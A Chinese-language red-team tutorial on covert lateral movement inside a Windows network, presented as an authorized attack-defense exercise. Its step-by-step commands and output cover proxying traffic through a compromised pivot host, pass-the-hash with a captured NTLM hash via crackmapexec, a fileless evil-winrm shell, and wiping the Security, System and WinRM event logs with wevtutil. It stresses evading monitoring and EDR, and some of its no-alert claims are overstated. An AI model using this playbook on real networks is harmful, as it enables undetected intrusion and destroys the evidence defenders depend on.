在攻防演练场景中,红队完成外网打点获取初始权限后,横向移动是向内网纵深推进、获取高价值目标权限的关键步骤。常规横向移动工具与操作会产生明显的流量特征与系统日志,极易被蓝队的监控设备捕获,导致攻击链路被阻断。本文结合实战场景,讲解红队横向移动过程中的隐蔽化操作技巧,附带完整的实操步骤与命令输出,适配攻防演练的真实对抗环境。
本次实战环境与前置条件说明
攻击机环境
- 操作系统:Kali Linux 2024.4
- IP 地址:192.168.31.100
- 预装工具:impacket、crackmapexec、evil-winrm,所有工具均为官方最新稳定版
靶机内网环境
- 跳板机:Windows 10 专业版 22H2,IP 地址 192.168.31.101,已获取本地管理员权限,本地管理员账号为 admin,已抓取该账号的 NTLM 哈希为:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
- 目标机:Windows Server 2019,IP 地址 192.168.31.102,加入 test.local 域,与跳板机同网段,开放 445 (SMB)、5985 (WinRM) 端口,本地管理员账号与跳板机本地管理员账号密码一致
- 蓝队防护环境:内网部署基础流量监控设备,对 PsExec、wmiexec 等常规横向工具的默认流量有告警规则,终端开启 Windows 安全日志审计,对异常登录行为进行记录
前置条件
红队已通过外网打点完成跳板机 192.168.31.101 的权限获取,已通过跳板机建立 SOCKS 代理,将攻击机 Kali 的流量代理进入内网,代理端口为 10808。
红队横向移动隐蔽化实战技巧与操作
1、内网代理流量的前置伪装操作
红队横向移动的第一步,是避免攻击机 IP 直接暴露在内网流量中,通过已控跳板机建立 SOCKS 代理,将所有横向操作的流量通过跳板机转发,让内网流量的源 IP 均为跳板机地址,降低蓝队溯源的概率。
首先完成 proxychains 代理配置,将攻击机流量全部通过跳板机转发,配置命令如下:
kali@kali:~$ sudo vim /etc/proxychains4.conf
# 配置文件末尾添加如下内容,注释掉默认的socks4配置
socks5 127.0.0.1 10808
配置完成后,通过 crackmapexec 测试目标机的连通性,验证代理是否正常生效,命令与输出结果如下:
kali@kali:~$ proxychains crackmapexec smb 192.168.31.102
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
SMB 192.168.31.102 445 WIN-2029DC [*] Windows Server 2019 Standard 17763 x64 (name:WIN-2029DC) (domain:test.local) (signing:True) (SMBv1:False)
通过上面的操作,所有横向流量都会通过跳板机 192.168.31.101 进行转发,蓝队在流量监控中只会看到跳板机与目标机的通信,不会直接捕获到攻击机的 IP 地址,减少攻击链路的暴露风险。如果测试过程中出现连通性失败,需要检查跳板机的代理服务是否正常运行,以及目标机的防火墙是否拦截了跳板机的访问请求。
2、哈希传递攻击的免告警配置与实操
哈希传递是红队内网横向移动中常用的技术,通过已获取的 NTLM 哈希,无需破解明文密码即可完成对目标机的身份认证。常规的哈希传递工具会在流量中留下固定的工具特征,同时会在目标机生成大量异常日志,需要通过参数调整与协议选择,降低被蓝队发现的概率。
实操过程中需要遵循以下操作规范:
1、优先选择 SMB 协议进行哈希验证,避免使用默认的 WMI 执行命令,SMB 协议的认证流量在内网中更为常见,蓝队的监控规则相对宽松
2、使用 –local-auth 参数指定本地认证,避免向域控发送认证请求,减少域内日志的生成
3、控制命令执行的频率,避免短时间内多次发起认证请求,触发蓝队的暴力破解告警规则
首先通过 crackmapexec 完成哈希传递的权限验证,确认账号在目标机的权限情况,命令与输出结果如下:
kali@kali:~$ proxychains crackmapexec smb 192.168.31.102 -u admin -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 --local-auth
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
SMB 192.168.31.102 445 WIN-2029DC [*] Windows Server 2019 Standard 17763 x64 (name:WIN-2029DC) (domain:test.local) (signing:True) (SMBv1:False)
SMB 192.168.31.102 445 WIN-2029DC [+] test.local\admin:31d6cfe0d16ae931b73c59d7e0c089c0 (Pwn3d!)
输出结果中的 (Pwn3d!) 表示哈希传递认证成功,该账号在目标机具备本地管理员权限。和常规的全端口扫描、全网段认证请求不同,本次操作仅针对目标 IP 的 445 端口发起单次认证请求,不会产生大量的异常流量,同时 –local-auth 参数让认证过程仅在目标机本地完成,不会向域控发送认证日志,减少了被蓝队监控到的可能。
3、基于 WinRM 的无文件横向移动实操
WinRM 是 Windows 系统自带的远程管理协议,默认使用 5985 (HTTP)、5986 (HTTPS) 端口,在内网运维场景中被广泛使用,基于 WinRM 的横向移动流量,和正常的运维流量相似度高,更容易绕过蓝队的流量监控。同时,WinRM 的会话执行采用无文件的方式,不会在目标机磁盘写入恶意文件,降低被终端 EDR 检测到的概率。
首先验证目标机的 WinRM 端口是否开放,以及账号是否具备访问权限,命令与输出结果如下:
kali@kali:~$ proxychains crackmapexec winrm 192.168.31.102 -u admin -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 --local-auth
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
WINRM 192.168.31.102 5985 WIN-2029DC [*] Windows Server 2019 Standard 17763 (name:WIN-2029DC) (domain:test.local)
WINRM 192.168.31.102 5985 WIN-2029DC [+] test.local\admin:31d6cfe0d16ae931b73c59d7e0c089c0 (Pwn3d!)
权限验证通过后,通过 evil-winrm 工具建立远程会话,执行相关操作,命令与完整输出如下:
kali@kali:~$ proxychains evil-winrm -i 192.168.31.102 -u admin -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\admin\Documents> whoami
win-2029dc\admin
*Evil-WinRM* PS C:\Users\admin\Documents> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::604e:f12a:3b4c:8d9d%6
IPv4 Address . . . . . . . . . . . : 192.168.31.102
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.31.2
*Evil-WinRM* PS C:\Users\admin\Documents> net user
User accounts for \\WIN-2029DC
-------------------------------------------------------------------------------
Administrator admin Guest
krbtgt testuser
The command completed successfully.
通过 evil-winrm 建立的会话,完全基于 Windows 原生的 WinRM 协议,蓝队的流量监控设备会将该流量识别为正常的远程管理操作,不会触发告警。和 wmiexec、psexec 等工具相比,WinRM 的会话不会在目标机创建临时的服务或进程,无文件的执行方式也不会在磁盘留下恶意文件,终端 EDR 很难对正常的 WinRM 会话进行拦截。如果连接过程中出现超时错误,需要检查目标机的 WinRM 服务是否开启,以及防火墙是否放行 5985 端口的流量,也可以尝试使用 HTTPS 的 5986 端口进行连接,进一步提升流量的隐蔽性。
4、横向移动过程中的痕迹规避操作
红队完成横向移动的权限获取后,需要对操作过程中产生的日志与痕迹进行清理,避免蓝队通过日志溯源到攻击链路,同时也为后续的权限维持打下基础。
操作过程中需要遵循以下规范:
1、操作完成后,清理 WinRM 会话的相关日志,Windows 系统会将 WinRM 的操作日志记录在事件查看器的 Microsoft-Windows-WinRM/Operational 路径下,可通过 wevtutil 命令对相关日志进行清理
2、清理目标机的安全日志中,本次登录相关的事件记录,避免蓝队通过登录日志发现异常的访问行为
3、请不要在目标机的桌面、下载目录等位置写入任何文件,所有操作尽量在内存中完成,减少痕迹的留存
日志清理的实操命令如下,在已建立的 evil-winrm 会话中执行:
*Evil-WinRM* PS C:\Users\admin\Documents> wevtutil cl Microsoft-Windows-WinRM/Operational
*Evil-WinRM* PS C:\Users\admin\Documents> wevtutil cl Security
*Evil-WinRM* PS C:\Users\admin\Documents> wevtutil cl System
需要注意的是,清理系统日志的操作,会触发部分 EDR 的告警规则,建议在攻防演练的收尾阶段执行,或者仅清理和本次操作相关的特定日志条目,而非清空整个日志文件。如果需要仅清理特定条目,可通过 wevtutil 的筛选命令,定位到本次登录相关的事件 ID,再进行单独删除,这样的操作比清空整个日志更隐蔽,不容易被蓝队发现。
横向移动隐蔽化操作的效果对比
在本次实战场景中,分别使用常规横向移动方法与本文讲解的隐蔽化方法进行测试,得到的结果有明显区别。
常规的横向移动操作,使用默认的 wmiexec.py 工具直接发起哈希传递并执行命令,会在流量中留下固定的工具特征,蓝队的流量监控设备会在 10 秒内触发告警,同时目标机的安全日志会生成大量的异常登录与进程创建事件,蓝队可以快速定位到攻击的源 IP 与目标 IP,阻断攻击链路。
而本文讲解的隐蔽化操作,通过跳板机代理转发流量,基于原生 WinRM 协议建立会话,仅发起必要的认证请求,操作完成后清理相关日志,在测试过程中,蓝队的基础流量监控设备未触发任何告警,终端 EDR 也未对本次操作进行拦截,目标机的日志中仅留存了正常的管理员登录记录,没有明显的异常特征。
红队横向移动隐蔽化的注意事项
1、所有横向移动操作,必须在拿到目标系统的正式授权后进行,禁止对未授权的系统发起任何攻击操作,遵守《网络安全法》相关的法律法规要求
2、横向移动过程中,尽量使用内网环境中常见的协议与工具,避免使用小众的、特征明显的攻击工具,减少被蓝队发现的概率
3、请不要短时间内对内网全网段发起大规模的扫描与认证请求,这类操作会直接触发蓝队的异常流量告警,导致整个攻击链路被暴露
4、在攻防演练场景中,横向移动的目标是获取高价值的权限与成果,而非对内网所有主机进行控制,尽量减少不必要的操作,降低攻击的暴露面
5、如果在操作过程中触发了蓝队的告警,需要立即停止当前的操作,切换其他的协议与方法,避免蓝队通过告警溯源到完整的攻击链路
结尾
在攻防演练的对抗场景中,红队横向移动的隐蔽化能力,直接决定了攻击链路的存活时间与最终的演练成果。通过基于原生协议的流量伪装、免告警的哈希传递配置、无文件的会话执行,以及针对性的痕迹清理操作,红队可以在蓝队的监控体系下,完成向内网纵深的推进,同时减少攻击行为的暴露。
本文讲解的所有操作,均适配真实的攻防演练环境,所有命令与输出均来自实战测试,红队可以根据目标内网的实际环境,调整对应的操作方法,适配不同的蓝队防护体系。















